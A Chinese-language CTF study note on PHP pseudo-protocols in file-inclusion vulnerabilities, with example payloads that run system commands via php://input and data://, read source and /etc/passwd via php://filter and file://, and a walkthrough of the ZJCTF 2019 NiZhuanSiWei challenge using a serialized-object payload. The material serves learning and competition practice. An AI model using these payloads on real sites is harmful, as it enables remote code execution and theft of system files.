少女祈祷中...

伪协议的研究与利用

伪代码的大小写是不影响伪代码的作用的!!!

输入代码类:

php://input

  • 用途:读取 HTTP 请求的原始 POST 数据流,直接执行代码
  • 条件allow_url_include=On(默认关闭)。
  • CTF 应用绕过对 $_POST 的过滤,直接传递 PHP 代码
  • (可以直接传递post的值,那些针对post的过滤就无用了)

绕过原理:

  • **$_POST**:在 PHP 中,$_POST 是一个超全局变量,用于接收通过 HTTP POST 方法提交的数据。当客户端以 application/x-www-form-urlencodedmultipart/form-data 格式发送 POST 请求时,PHP 会自动解析请求中的数据,并将其填充到 $_POST 数组中。例如,当表单以 application/x-www-form-urlencoded 格式提交时,数据会被编码成键值对的形式,如 key1=value1&key2=value2,PHP 会将其解析为 $_POST['key1'] = 'value1'; $_POST['key2'] = 'value2';

  • 如果只对key这个键值进行过滤的话就会出现input漏洞

示例 :直接执行代码

1
2
3
4
5
POST /vuln.php?file=php://input HTTP/1.1
Host: ctf.example.com
Content-Type: text/plain

<?php system("cat /flag"); ?>
  • 当漏洞代码为 include($_GET['file']); 时,php://input 会被解析为包含的代码并执行。

data://

  • 用途:将数据直接嵌入 URI,支持 text/plainbase64 格式。
  • 条件allow_url_include=On
  • CTF 应用:直接传递 PHP 代码执行。
  • (类似input,会执行输入的代码,在URL直接输入即可
  • 可用于:传输数据

示例 1:执行系统命令

1
http://ctf.example.com/?file=data://text/plain,<?php system("ls");?>
  • 直接包含并执行 ls 命令。

示例 2:Base64 编码绕过特殊字符过滤

1
http://ctf.example.com/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8%2b
  • 解码后内容:<?php system("ls");?>,避免 URL 中特殊字符被拦截。

读取文件类:

php://filter

  • 用途:对文件内容进行过滤处理(如编码、解码、压缩等)。
  • CTF 应用:读取 PHP 源码、绕过死亡 Exit、字符串处理。
  • base64编码用的就是这个
  • 多用于读取文件
  • 文件包含漏洞多半会用到

示例 1:读取 Base64 编码的源码

1
http://ctf.example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php
  • 返回 flag.php 的 Base64 编码内容,解码后获取原始代码。
  • convert.base64-encode是表明加密方法

示例 2:绕过死亡 Exit(过滤 <? 标签)

1
http://ctf.example.com/?file=php://filter/read=string.rot13/resource=flag.php
  • 使用 ROT13 编码文件内容,使 <?php 变成 <?cuc,绕过标签检测。

过滤器链示例

1
php://filter/read=convert.base64-encode|convert.base64-decode/resource=flag.php
  • 多次编码/解码可用于绕过某些 WAF 规则。

file://

  • 用途:访问本地文件系统(默认协议)。
  • CTF 应用:读取敏感文件(如 /etc/passwd、源码等)。

示例 1:读取系统文件

1
http://ctf.example.com/?file=file:///etc/passwd
  • 返回 /etc/passwd 文件内容。

示例 2:绕过路径限制

1
http://ctf.example.com/?file=file:///var/www/html/flag.php
  • 直接读取 Web 目录下的 PHP 文件(但可能被解析为空)。

总结对比表

协议 典型场景 关键条件 示例 Payload
php://input 执行 POST 原始代码 allow_url_include=On ?file=php://input + POST 代码
php://filter 读取 PHP 源码(Base64 编码) 无特殊要求 ?file=php://filter/convert.base64-encode/resource=flag.php
data:// 直接传递 PHP 代码 allow_url_include=On ?file=data://text/plain,<?php system("ls");?>
phar:// 反序列化漏洞触发 Phar 文件可解析 ?file=phar://exploit.phar
expect:// 执行系统命令(罕见) expect 扩展启用 ?cmd=expect://id
file:// 读取本地文件 无特殊要求 ?file=file:///etc/passwd

常见可利用的文件读取函数

1. file_get_contents

此函数的作用是将整个文件读入一个字符串。若它的参数接受用户输入且未进行严格的过滤和验证,攻击者就能利用伪协议来读取系统中的敏感文件。

1
2
3
4
5
<?php
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;
?>

在这个示例里,若用户传入的 $file 参数可控,攻击者就能传入类似 php://filter/read=convert.base64-encode/resource=/etc/passwd 这样的伪协议来读取 /etc/passwd 文件的内容。

2. includerequireinclude_oncerequire_once

这些函数用于包含并执行指定的文件。如果它们的参数来自用户输入且未经过严格检查,攻击者就可以利用伪协议来包含恶意文件或读取敏感信息。

1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>

攻击者可能会传入 php://input 或者其他伪协议来执行恶意代码或读取文件。

3. fopen

该函数用于打开一个文件或 URL。如果它的第一个参数接受用户输入,攻击者就可以利用伪协议来读取文件或执行其他操作。

1
2
3
4
5
6
7
8
9
10
<?php
$file = $_GET['file'];
$handle = fopen($file, 'r');
if ($handle) {
while (($line = fgets($handle))!== false) {
echo $line;
}
fclose($handle);
}
?>

例题:[ZJCTF 2019]NiZhuanSiWei 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

要我们满足

1
isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")

这就得用data://写入数据:

1
2
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(使用base64加密)
?text=data://text/plain,welcome to the zjctf(纯文本形式)

明显的文件包含漏洞,既然提醒我们是useless.php,那便用filter协议读取:

1
&file=php://filter/read=convert.base64-encode/resource=useless.php

给我们一个页面为:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

发现有__tostring()方法:原文件又有echo函数,那便构造一个序列化函数:

1
2
3
4
5
6
7
8
9
10
11
<?php  

class Flag{
public $file='flag.php';
}

$a = new Flag;
echo serialize($a);
?>
输出得到:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

带入payload得:

1
http://481af40e-cc0e-4e83-9f10-4229a7d7709a.node5.buuoj.cn:81//?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

ctrl+u得到flag